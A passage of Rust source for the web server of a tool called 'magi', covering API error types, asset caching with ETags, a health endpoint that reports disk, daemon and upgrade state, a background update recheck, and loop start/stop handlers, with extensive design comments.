1736        .output()
1737        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1738    if !out.status.success() {
1739        let why = String::from_utf8_lossy(&out.stderr);
1740        let why = why.trim();
1741        return Err(format!(
1742            "`tailscale ip -4` failed ({}){}",
1743            out.status,
1744            if why.is_empty() {
1745                String::new()
1746            } else {
1747                format!(": {why}")
1748            }
1749        ));
1750    }
1751    String::from_utf8_lossy(&out.stdout)
1752        .lines()
1753        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1754        .find(is_tailnet)
1755        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1756}
1757
1758/// Is this address in the CGNAT block Tailscale hands out from?
1759fn is_tailnet(ip: &Ipv4Addr) -> bool {
1760    let o = ip.octets();
1761    o[0] == 100 && (64..=127).contains(&o[1])
1762}
1763
1764/// What every handler returns. Spelled out because `Result` in this crate is
1765/// `anyhow::Result`, and a handler's error is a status code as much as a
1766/// message.
1767type ApiResult<T> = std::result::Result<T, ApiError>;
1768
1769/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1770#[derive(Debug)]
1771struct ApiError {
1772    status: StatusCode,
1773    message: String,
1774    text_reason: Option<crate::question_delivery::UnavailableReason>,
1775}
1776
1777impl ApiError {
1778    /// The client asked for something malformed.
1779    fn bad_request(message: impl Into<String>) -> Self {
1780        Self {
1781            text_reason: None,
1782            status: StatusCode::BAD_REQUEST,
1783            message: message.into(),
1784        }
1785    }
1786
1787    /// No such run or task.
1788    fn not_found(message: impl Into<String>) -> Self {
1789        Self {
1790            text_reason: None,
1791            status: StatusCode::NOT_FOUND,
1792            message: message.into(),
1793        }
1794    }
1795
1796    /// Someone else owns the thing the client wants to change.
1797    /// Re-badge an error whose default mapping is wrong for this route.
1798    fn with_status(mut self, status: StatusCode) -> Self {
1799        self.status = status;
1800        self
1801    }
1802
1803    /// A rules violation from a domain type, reported as the caller's fault.
1804    /// `Question::answer` rejects an unoffered choice, and that is a bad
1805    /// request, not a server error.
1806    fn bad_request_from(e: anyhow::Error) -> Self {
1807        Self::bad_request(format!("{e:#}"))
1808    }
1809
1810    fn conflict(message: impl Into<String>) -> Self {
1811        Self {
1812            text_reason: None,
1813            status: StatusCode::CONFLICT,
1814            message: message.into(),
1815        }
1816    }
1817
1818    /// Our fault, or the disk's.
1819    fn internal(message: impl Into<String>) -> Self {
1820        Self {
1821            text_reason: None,
1822            status: StatusCode::INTERNAL_SERVER_ERROR,
1823            message: message.into(),
1824        }
1825    }
1826}
1827
1828impl From<anyhow::Error> for ApiError {
1829    /// Errors from `queue` and `run` carry their context chain, and the whole
1830    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1831    /// value at line 3" is a message an operator can act on, and there is no
1832    /// secret in a path on a single-user tailnet.
1833    fn from(e: anyhow::Error) -> Self {
1834        Self::internal(format!("{e:#}"))
1835    }
1836}
1837
1838impl IntoResponse for ApiError {
1839    fn into_response(self) -> Response {
1840        let mut body = serde_json::json!({ "error": self.message });
1841        if let Some(reason) = self.text_reason {
1842            body["code"] = serde_json::json!("question_text_unavailable");
1843            body["reason"] = serde_json::json!(reason);
1844        }
1845        (self.status, Json(body)).into_response()
1846    }
1847}
1848
1849/// Run a handler's filesystem work off the executor.
1850///
1851/// Every route that touches the disk goes through here rather than each one
1852/// arguing about whether its own read is small enough. Uniform because the
1853/// expensive case is not rare: `run.json` for a finished competition holds
1854/// every judgement, deliberation turn and review round, so listing a few
1855/// hundred runs is megabytes of parsing, and the executor threads doing it are
1856/// the same ones serving the change stream of every other connected phone.
1857async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1858where
1859    T: Send + 'static,
1860{
1861    #[cfg(test)]
1862    let job = request_cost::carry(job);
1863    match tokio::task::spawn_blocking(job).await {
1864        Ok(result) => result,
1865        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1866    }
1867}
1868
1869/// Cache policy for the three compiled-in front-end files.
1870///
1871/// The whole interface is `include_str!`ed into the binary, so its content
1872/// changes only when the binary does - and a phone that keeps a copy is
1873/// welcome to, right up until the deck is replaced. Without a single cache
1874/// header, browsers were free to invent their own policy, and one did:
1875/// yukimemi's phone went on showing "Candidates must be folded before
1876/// deleting. Run `magi fold` first." - a sentence deleted two releases
1877/// earlier - from a run detail served by a deck that no longer contained it.
1878/// The delete button he was told about was right there, and unreachable.
1879///
1880/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1881/// every time, the answer is a 304 costing one small round trip while the
1882/// deck is unchanged, and the moment it is replaced the tag differs and the
1883/// new interface arrives. Correctness over bytes - this is one file of a few
1884/// tens of kilobytes on a tailnet, and being a version behind is not a
1885/// cosmetic problem when the difference is whether a button exists.
1886const ASSET_CACHE: &str = "no-cache, must-revalidate";
1887
1888/// `ETag` for the compiled-in assets, distinct per build.
1889///
1890/// The version alone would leave a locally built deck - `cargo install
1891/// --path .` twice at the same version, which is the normal way to iterate -
1892/// serving a stale tag for changed bytes. The build timestamp is what makes
1893/// two builds of `0.3.0` differ.
1894fn asset_etag() -> &'static str {
1895    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1896        format!(
1897            "\"{}-{}\"",
1898            env!("CARGO_PKG_VERSION"),
1899            // Length is a cheap, deterministic stand-in for a hash: the
1900            // three files are compiled in together, so any edit to any of
1901            // them almost certainly changes the total, and a rebuild is what
1902            // this needs to track rather than every possible byte pattern.
1903            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1904        )
1905    });
1906    &TAG
1907}
1908
1909/// Headers for a compiled-in asset of `mime`.
1910fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1911    [
1912        (header::CONTENT_TYPE, mime),
1913        (header::CACHE_CONTROL, ASSET_CACHE),
1914        (header::ETAG, asset_etag()),
1915    ]
1916}
1917
1918/// Serve a compiled-in asset, answering `304` when the client already has it.
1919///
1920/// axum does not compare `If-None-Match` for us, and a header the server sets
1921/// but never honours is worse than none: the phone revalidates on every load
1922/// and is handed the whole file back each time. Doing the comparison is what
1923/// makes `must-revalidate` cost one small round trip rather than the
1924/// interface.
1925fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1926    let tag = asset_etag();
1927    let known = headers
1928        .get(header::IF_NONE_MATCH)
1929        .and_then(|v| v.to_str().ok())
1930        // A revalidating client may send several, and a proxy may weaken the
1931        // tag to `W/"..."`; matching on containment covers both without
1932        // parsing the grammar.
1933        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1934    if known {
1935        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1936    }
1937    (asset_headers(mime), body).into_response()
1938}
1939
1940async fn index(headers: header::HeaderMap) -> Response {
1941    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1942}
1943
1944async fn app_css(headers: header::HeaderMap) -> Response {
1945    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1946}
1947
1948async fn app_js(headers: header::HeaderMap) -> Response {
1949    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1950}
1951
1952/// What `/api/health` answers.
1953#[derive(Debug, Serialize)]
1954struct HealthView {
1955    version: &'static str,
1956    home: String,
1957    queue_rev: u64,
1958    runs_rev: u64,
1959    /// The same revisions [`events`] streams for the question and talk
1960    /// stores.
1961    ///
1962    /// Here because this route is what the front end falls back to when the
1963    /// change stream is not up - it re-polls health on a timer and on wake, and
1964    /// takes the revisions from the answer. Without these the fallback
1965    /// compares `undefined` against `undefined` for both stores, decides
1966    /// nothing moved, and a phone with a dead stream never learns that a
1967    /// question was asked or that a talk took a turn. `queue_rev` and
1968    /// `runs_rev` above have always been here for exactly this reason; the rule
1969    /// is that every revision the stream carries, this route carries too.
1970    questions_rev: u64,
1971    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1972    talks_rev: u64,
1973    /// See [`HealthView::questions_rev`]. The notification centre's store.
1974    notifications_rev: u64,
1975    /// Notifications nobody has read yet: the bell's badge before
1976    /// `/api/notifications` has answered.
1977    notifications_unread: usize,
1978    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1979    /// is not on disk anywhere, so a phone with no change stream has no other
1980    /// way to notice that the loop it is waiting on was started from another
1981    /// device.
1982    loop_rev: u64,
1983    /// Runs on disk whose state this build cannot parse - almost always a
1984    /// schema bump, occasionally a run killed mid-write.
1985    ///
1986    /// Reported because the list silently skips them, and "no competitions
1987    /// yet" is a lie when six of them are sitting in the runs directory. The
1988    /// terminal deck learned the same lesson: a run that fails to parse must
1989    /// not disappear from the count.
1990    runs_unreadable: usize,
1991    /// The disk, and what the runs and their worktrees occupy on it.
1992    ///
1993    /// This is the incident the janitor exists for: magi alone put 30 GB into
1994    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1995    /// is exactly where the operator learns "the disk is the constraint" -
1996    /// the diagnosis that a run is being held for want of space has to be
1997    /// checkable on the same screen.
1998    disk: DiskView,
1999    /// Questions nobody has answered yet, including ones an owner talked
2000    /// back on and is now waiting for the agent's reply to. A round trip
2001    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2002    /// while the ball is in the agent's court - see
2003    /// [`crate::ask::Questions::count_open`].
2004    questions_open: usize,
2005    /// Of those, how many actually need the owner right now: open, and not
2006    /// [`crate::ask::Question::waiting_on_agent`].
2007    ///
2008    /// The one number that means "nothing will happen until a human acts" -
2009    /// a parked run consumes nothing and progresses never - and the count the
2010    /// ask bar, the nav badge and the document title fall back to before
2011    /// `/api/questions` has answered, so those notification channels clear
2012    /// the instant the owner asks back and reappear the instant the agent
2013    /// replies, instead of sitting lit for however long the agent thinks.
2014    questions_needs_owner: usize,
2015    daemon: DaemonView,
2016    /// The loop in this process, exactly what `/api/loop` answers with.
2017    ///
2018    /// Here so a phone that has just woken needs one request to know whether
2019    /// anything is going to happen at all: `daemon` says a loop is alive
2020    /// somewhere, and this says whether it is one this UI can stop.
2021    #[serde(rename = "loop")]
2022    looping: LoopView,
2023    /// Whether a release newer than this build is known, and which.
2024    ///
2025    /// From [`updater::Checker::cached_update`] - the same throttled state the
2026    /// CLI's `notify` mode banners from - never a live check: this route is
2027    /// polled every few seconds, and a live check on each poll would spend
2028    /// GitHub's rate limit before the operator finished reading the strip.
2029    update: UpdateView,
2030    /// The self-upgrade this deck last set in motion, or `null` before the
2031    /// first one. Read off disk, so the successor can report what its
2032    /// predecessor started.
2033    upgrade: Option<UpgradeProgressView>,
2034    upgrade_request_error: Option<UpgradeRequestFailure>,
2035}
2036
2037/// What `/api/health` knows about a release newer than this build.
2038///
2039/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2040/// is already the newest" from "never checked" - both are `None` - and the
2041/// phone needs to tell those apart to decide whether the deck can be trusted
2042/// to have an opinion at all.
2043#[derive(Debug, Serialize)]
2044struct UpdateView {
2045    /// A newer release is known to exist.
2046    available: bool,
2047    /// Its tag, when `available`.
2048    to: Option<String>,
2049}
2050
2051/// [`updater::Progress`] as `/api/health` reports it.
2052#[derive(Debug, Serialize)]
2053struct UpgradeProgressView {
2054    stage: updater::Stage,
2055    from: String,
2056    to: Option<String>,
2057    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2058    /// the step it is finishing before the address is handed over.
2059    waiting_on: Option<String>,
2060    started_at: Timestamp,
2061    updated_at: Timestamp,
2062    detail: Option<String>,
2063    /// Seconds the stage has outlived its allowance, when it has - see
2064    /// [`updater::stall`]. `null` while the stage is moving normally.
2065    stuck_for_secs: Option<i64>,
2066    /// Which kind of stuck: `never_entered` (hand_over left no record of
2067    /// starting) or `stopped_beating`. `null` when not stuck.
2068    stuck_kind: Option<updater::StallKind>,
2069    /// `hand_over` is alive and waiting on the loop: however long that takes,
2070    /// it is not an overdue upgrade.
2071    handover_alive: bool,
2072}
2073
2074/// Whether [`run_update_recheck`] may act at all this tick.
2075///
2076/// The same two conditions [`updater::Checker::new`] and
2077/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2078/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2079/// GitHub from this process" - on a button press or on a timer alike.
2080fn should_spawn_recheck(cfg: &Update) -> bool {
2081    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2082}
2083
2084/// Whether this tick should actually reach the network, once checking itself
2085/// is allowed.
2086///
2087/// An upgrade already in flight must not be raced by a check that discovers
2088/// a *newer* release while one is still installing - a phone watching
2089/// `/api/health` would see the answer change out from under the upgrade it
2090/// already asked for. Past that, [`updater::Checker::should_check`] is the
2091/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2092/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2093/// polling period, is what keeps this task's network use to at most once per
2094/// `[update] interval` regardless of how often it wakes up.
2095fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2096    if progress.is_some_and(|p| !p.stage.terminal()) {
2097        return false;
2098    }
2099    checker.should_check()
2100}
2101
2102/// How long [`run_update_recheck`] sleeps before its next wake-up.
2103///
2104/// A fraction of the configured `[update] interval` rather than a fixed
2105/// number: a fixed sleep longer than a short custom interval would leave the
2106/// deck waiting on its own wake-up rather than on `should_check`, so an
2107/// operator who set `interval = "1m"` to make the UI catch up quickly would
2108/// not see that take effect until the next restart - exactly the bug this
2109/// task exists to fix, just moved one level down. Scaling with the interval
2110/// keeps the wake-up prompt relative to what was actually configured, while
2111/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2112/// still what caps the network calls themselves at one per interval,
2113/// regardless of how often this fires.
2114fn recheck_poll_period(cfg: &Update) -> Duration {
2115    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2116}
2117
2118/// Keep `/api/health`'s `update` field current for as long as `magi web`
2119/// stays up.
2120///
2121/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2122/// which is enough for every other command: they exit in seconds. `magi web`
2123/// can run for days, so a single startup check leaves the cache - and the
2124/// phone's "Update & restart" button, which reads it via
2125/// [`cached_update_view`] - frozen on whatever that one look found, however
2126/// many releases ship afterwards. This is what notices the rest of them,
2127/// re-reading the config each tick so a `magi.toml` edit while the server is
2128/// up takes effect without a restart, the same way every other route here
2129/// already does - both for whether checking is on at all and for how long
2130/// the next sleep should be.
2131///
2132/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2133/// "install"`: swapping the running binary out from under a task or a run
2134/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2135/// not as a side effect of a timer nobody asked to fire. This only ever
2136/// calls [`updater::Checker::newer_release`], which refreshes
2137/// `last_update_check.json` and nothing else - so under `mode = "install"`
2138/// this behaves like `notify` for as long as the deck stays up, and an
2139/// actual self-install still happens exactly where it always has: once, at
2140/// the next process start.
2141async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2142    loop {
2143        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2144        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2145        if !should_spawn_recheck(&cfg.update) {
2146            continue;
2147        }
2148        let Some(checker) = updater::Checker::new(&cfg.update) else {
2149            continue;
2150        };
2151        let progress = updater::read_progress(&home);
2152        if !update_recheck_due(&checker, progress.as_ref()) {
2153            continue;
2154        }
2155        if let Err(e) = checker.newer_release().await {
2156            tracing::warn!("background update recheck failed: {e:#}");
2157        }
2158    }
2159}
2160
2161/// [`UpdateView`] from the same throttled, disk-only state
2162/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2163/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2164/// no cached state at all, which is correct: an operator who turned checking
2165/// off gets no opinion, not a stale one.
2166fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2167    let default;
2168    let cfg = match cfg {
2169        Some(cfg) => cfg,
2170        None => {
2171            default = Config::default();
2172            &default
2173        }
2174    };
2175    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2176    match latest {
2177        Some(latest) => UpdateView {
2178            available: true,
2179            to: Some(latest.tag_name),
2180        },
2181        None => UpdateView {
2182            available: false,
2183            to: None,
2184        },
2185    }
2186}
2187
2188/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2189/// from the parked run's own state when the stage is
2190/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2191/// already on disk in `run.json`, so this reads them fresh rather than
2192/// trusting whatever was true the moment the park was requested.
2193fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2194    let now = Timestamp::now();
2195    let lease = updater::read_lease(&ui.home);
2196    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2197    let run_id = alive
2198        .and_then(|l| l.parked_run.as_deref())
2199        .or(progress.parked_run.as_deref());
2200    let parking = progress.stage == updater::Stage::Parking;
2201    let waited = alive.map_or_else(String::new, |l| {
2202        let secs = updater::waited_secs(l, now);
2203        format!(" (waited {} min so far)", secs / 60)
2204    });
2205    let run_text = run_id
2206        .filter(|_| parking)
2207        .map(|id| match read_run(&ui.runs, id).ok() {
2208            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2209            None => format!("run {id} is finishing"),
2210        });
2211    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2212        .filter(|t| parking && !t.is_empty())
2213        .map(|t| format!("{t} finishing"));
2214    let waiting_on = match (run_text, talks_text) {
2215        (None, None) => None,
2216        (run, talks) => {
2217            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2218            Some(format!(
2219                "{} before the address is handed over{waited}",
2220                parts.join(" and ")
2221            ))
2222        }
2223    };
2224    let detail = progress
2225        .detail
2226        .clone()
2227        .or_else(|| updater::read_note(&ui.home, &progress));
2228    let stalled = updater::stall(&progress, lease.as_ref(), now);
2229    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2230    UpgradeProgressView {
2231        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2232        stuck_kind: stalled.map(|s| s.kind),
2233        handover_alive: alive.is_some(),
2234        stage: progress.stage,
2235        from: progress.from,
2236        to: progress.to,
2237        waiting_on,
2238        started_at: progress.started_at,
2239        updated_at: progress.updated_at,
2240        detail,
2241    }
2242}
2243
2244/// The disk figures `/api/health` carries. Every number is produced by
2245/// [`crate::disk`], the same code that decides a run may not start, so the
2246/// health screen and the gate cannot disagree about what the machine looks
2247/// like.
2248#[derive(Debug, Serialize)]
2249struct DiskView {
2250    /// Free bytes on the volume holding the runs, when measurable.
2251    #[serde(skip_serializing_if = "Option::is_none")]
2252    free_bytes: Option<u64>,
2253    /// Everything the runs directory occupies, unreadable runs included.
2254    runs_bytes: u64,
2255    /// Everything the runs' worktrees occupy.
2256    worktrees_bytes: u64,
2257    /// The shared build cache's size, when the config names one.
2258    #[serde(skip_serializing_if = "Option::is_none")]
2259    cache_bytes: Option<u64>,
2260}
2261
2262impl DiskView {
2263    /// Measure the three directories and re-read the config's cache.
2264    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2265        let cache_bytes = cfg
2266            .and_then(|cfg| cfg.cache_dir())
2267            .map(|dir| crate::disk::dir_size(&dir));
2268        Self {
2269            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2270            runs_bytes: crate::disk::dir_size(&ui.runs),
2271            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2272            cache_bytes,
2273        }
2274    }
2275}
2276
2277/// The daemon's state as the UI presents it.
2278#[derive(Debug, Serialize)]
2279struct DaemonView {
2280    running: bool,
2281    idle: Option<bool>,
2282    pid: Option<u32>,
2283    /// Every task and run currently in flight. Empty when idle; more than
2284    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2285    /// run going at once.
2286    current: Vec<daemon::Current>,
2287    completed: Option<u64>,
2288    stale_for_secs: Option<i64>,
2289}
2290
2291impl DaemonView {
2292    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2293    /// not this UI's — a crashed daemon must not look alive here while
2294    /// `doctor` calls it dead.
2295    fn of(status: Option<daemon::Reading>) -> Self {
2296        let Some(status) = status else {
2297            return Self {
2298                running: false,
2299                idle: None,
2300                pid: None,
2301                current: Vec::new(),
2302                completed: None,
2303                stale_for_secs: None,
2304            };
2305        };
2306        let now = Timestamp::now();
2307        let age = status.age_secs(now);
2308        Self {
2309            running: status.running(now),
2310            idle: Some(status.idle),
2311            pid: status.pid,
2312            current: status.current,
2313            completed: Some(status.completed),
2314            stale_for_secs: age,
2315        }
2316    }
2317}
2318
2319async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2320    blocking(move || {
2321        // One read of the status file for the two fields that describe it, so
2322        // `daemon` and `loop` in the same answer cannot disagree about who is
2323        // running the loop.
2324        let reading = daemon::read_status(&ui.home);
2325        // Read on its own line, not inside the literal below: the loop's lock
2326        // is not reentrant, and a guard taken as a temporary there would still
2327        // be held when `loop_view` took it again.
2328        let loop_rev = ui.lock_loop().rev;
2329        // One discover for both views: each is a few git processes plus a
2330        // config render, and neither depends on anything the other reads.
2331        let cfg = deputy_config(&ui.repo);
2332        let update = cached_update_view(cfg.as_ref());
2333        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2334        Ok(Json(HealthView {
2335            version: env!("CARGO_PKG_VERSION"),
2336            home: ui.home.display().to_string(),
2337            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2338            runs_rev: runs_revision(&ui.runs),
2339            questions_rev: ui.questions.revision(),
2340            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2341            notifications_rev: ui.notices.revision(),
2342            notifications_unread: ui.notices.count_unread(),
2343            loop_rev,
2344            runs_unreadable: runs_unreadable(&ui.runs),
2345            questions_open: ui.questions.count_open(),
2346            questions_needs_owner: ui.questions.count_needs_owner(),
2347            daemon: DaemonView::of(reading.clone()),
2348            looping: ui.loop_view(reading),
2349            disk: DiskView::of(&ui, cfg.as_ref()),
2350            update,
2351            upgrade,
2352            upgrade_request_error: ui
2353                .upgrade_request_error
2354                .lock()
2355                .unwrap_or_else(PoisonError::into_inner)
2356                .clone(),
2357        }))
2358    })
2359    .await
2360}
2361
2362/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2363#[derive(Debug, Serialize)]
2364struct LoopView {
2365    /// A loop is running in *this* process.
2366    running: bool,
2367    /// It has been asked to stop and is still finishing a run.
2368    ///
2369    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2370    /// because the two differ exactly where it matters: a loop asked to stop
2371    /// while idle is gone within one poll interval, and one asked to stop
2372    /// mid-run keeps going for as long as the graph takes. The operator needs
2373    /// to be told which of those they are waiting for.
2374    stopping: bool,
2375    /// A park was asked for: the run in flight stops at its next node
2376    /// boundary rather than finishing.
2377    ///
2378    /// Separate from `stopping` because the two promise different waits. A
2379    /// stop is "when this competition ends", which can be an hour; a park is
2380    /// "after the step it is on", which is minutes and is what an operator
2381    /// waiting to replace the binary needs to see.
2382    parking: bool,
2383    /// The loop is this process's own.
2384    ///
2385    /// Spelled separately from `running` for the front end's sake, even
2386    /// though inside this process the two move together: `running: false`
2387    /// with `daemon.running: true` is the case where the operator's own `magi
2388    /// serve` owns the loop, and `owned` is the field that tells the UI its
2389    /// buttons have to explain that rather than pretend.
2390    owned: bool,
2391    /// Repository the loop uses for tasks that name none - what it was
2392    /// started with while it runs, and what a start would use before that.
2393    repo: String,
2394    /// Merge mode override in force, or `null` when each repository's own
2395    /// config decides.
2396    merge: Option<String>,
2397    /// Why the last loop in this process ended, when it ended badly.
2398    ///
2399    /// The only place a crashed loop is visible to someone holding a phone.
2400    /// It is logged at error level as well, but a terminal nobody kept open
2401    /// is not a report, and a loop that died at 3am must not read as merely
2402    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2403    /// answers the same question about the same kind of failure.
2404    last_error: Option<String>,
2405    /// The status file, judged the same way `/api/health` judges it: this is
2406    /// what says whether a loop is alive in some *other* process.
2407    daemon: DaemonView,
2408}
2409
2410/// A loop another process already owns.
2411///
2412/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2413/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2414/// published by a pid that is not ours. Excluding our own pid is what makes
2415/// stopping work at all - the loop this process runs writes that file too, so
2416/// a check that ignored the pid would decide the operator's own UI was a
2417/// stranger and refuse to stop the loop it had just started.
2418#[derive(Debug, Clone, Copy)]
2419struct Foreign {
2420    /// The pid the other process published, when it published one.
2421    pid: Option<u32>,
2422}
2423
2424impl Foreign {
2425    /// Another process's live loop, or `None` when this process is free to
2426    /// run one.
2427    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2428        // A fresh heartbeat with no pid in it is still evidence of a live
2429        // daemon. "Some other process" is the honest answer, and refusing
2430        // to start beside it is the safe one.
2431        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2432    }
2433
2434    /// How a conflict names it. The pid is the whole point of the message: it
2435    /// is what the operator needs to find the terminal that owns the loop.
2436    fn who(&self) -> String {
2437        match self.pid {
2438            Some(pid) => format!("another magi process (pid {pid})"),
2439            None => "another magi process".to_owned(),
2440        }
2441    }
2442}
2443
2444/// How a loop is started, as a future this module can hold onto.
2445///
2446/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2447/// trait object or a hand-written `Debug` impl for the sake of one seam.
2448type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2449
2450/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2451fn launch_daemon(
2452    opts: daemon::Opts,
2453    stop: daemon::Stop,
2454) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2455    Box::pin(daemon::serve_until(opts, stop))
2456}
2457
2458/// The loop this process runs, behind one lock.
2459#[derive(Debug, Default)]
2460struct LoopState {
2461    /// The loop, while there is one.
2462    live: Option<Live>,
2463    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2464    ///
2465    /// The loop is in-process state rather than a file, so nothing on disk
2466    /// would tell a second phone that the first one started it. Without this
2467    /// counter the only way to learn about a start, a stop request or a crash
2468    /// would be to poll `/api/loop`, which is the thing the change stream
2469    /// exists to avoid on a mobile link.
2470    rev: u64,
2471    /// Why the last loop ended, when it ended badly. See
2472    /// [`LoopView::last_error`].
2473    last_error: Option<String>,
2474    /// The loop was running (and not already stopping) when the last upgrade
2475    /// parked it, so the successor should start one. Set afresh by every
2476    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2477    /// update.
2478    resume_after_handover: bool,
2479}
2480
2481/// A loop in flight.
2482#[derive(Debug)]
2483struct Live {
2484    /// The cooperative stop, shared with the loop task.
2485    stop: daemon::Stop,
2486    /// The task itself, kept only to answer whether it is still there: a loop
2487    /// that panicked never records its own end, and without this the view
2488    /// would go on reporting a loop that no longer exists - the one lie that
2489    /// would leave the operator with no button to press.
2490    handle: tokio::task::JoinHandle<()>,
2491    /// What the loop was started with, so the view reports the repository and
2492    /// merge mode its runs will actually use rather than what an edit to the
2493    /// config since would give.
2494    opts: daemon::Opts,
2495}
2496
2497impl Live {
2498    /// Is the task still there? See [`Live::handle`].
2499    fn alive(&self) -> bool {
2500        !self.handle.is_finished()
2501    }
2502}
2503
2504/// Take the loop lock, recovering from a poisoned one.
2505///
2506/// What this mutex holds is a stop flag, a task handle and two counters, none
2507/// of which a panic elsewhere can leave in a state worth refusing to read.
2508/// Propagating the poison instead would mean an operator who can see the loop
2509/// running and can no longer stop it from the only surface they have.
2510fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2511    state.lock().unwrap_or_else(PoisonError::into_inner)
2512}
2513
2514/// `GET /api/loop`.
2515async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2516    blocking(move || {
2517        let reading = daemon::read_status(&ui.home);
2518        Ok(Json(ui.loop_view(reading)))
2519    })
2520    .await
2521}
2522
2523/// The body of `POST /api/loop`.
2524///
2525/// One required field and nothing else: no `default` and no unknown fields,
2526/// so a body that fails to say which way the switch was flipped is a 400
2527/// rather than a tap that quietly does the opposite of what was pressed.
2528#[derive(Debug, Deserialize)]
2529#[serde(deny_unknown_fields)]
2530struct LoopCommand {
2531    running: bool,
2532    /// Stop the run in flight at its next node boundary rather than letting it
2533    /// finish.
2534    ///
2535    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2536    /// competition is tens of minutes of paid work and finishing it is
2537    /// normally the cheapest thing to do. A park is for the operator who
2538    /// wants the process gone now - to replace the binary, most of all - and
2539    /// it costs at most the node in progress because every node writes its
2540    /// state before the next one starts.
2541    #[serde(default)]
2542    park: bool,
2543}
2544
2545/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2546///
2547/// Answers with the view rather than waiting for the loop to reach the state
2548/// that was asked for. Starting is immediate anyway; stopping is not, and the
2549/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2550/// request open for. `stopping` in the answer is what the operator watches
2551/// instead.
2552async fn loop_post(
2553    State(ui): State<Arc<Ui>>,
2554    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2555) -> ApiResult<Json<LoopView>> {
2556    // Taken as a `Result` so a malformed body is a 400 like every other route
2557    // here, rather than axum's default 422 that the UI has no branch for.
2558    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2559    blocking(move || {
2560        let reading = daemon::read_status(&ui.home);
2561        let foreign = Foreign::of(reading.as_ref());
2562        if body.running {
2563            ui.start_loop(foreign)?;
2564        } else {
2565            ui.stop_loop(foreign, body.park)?;
2566        }
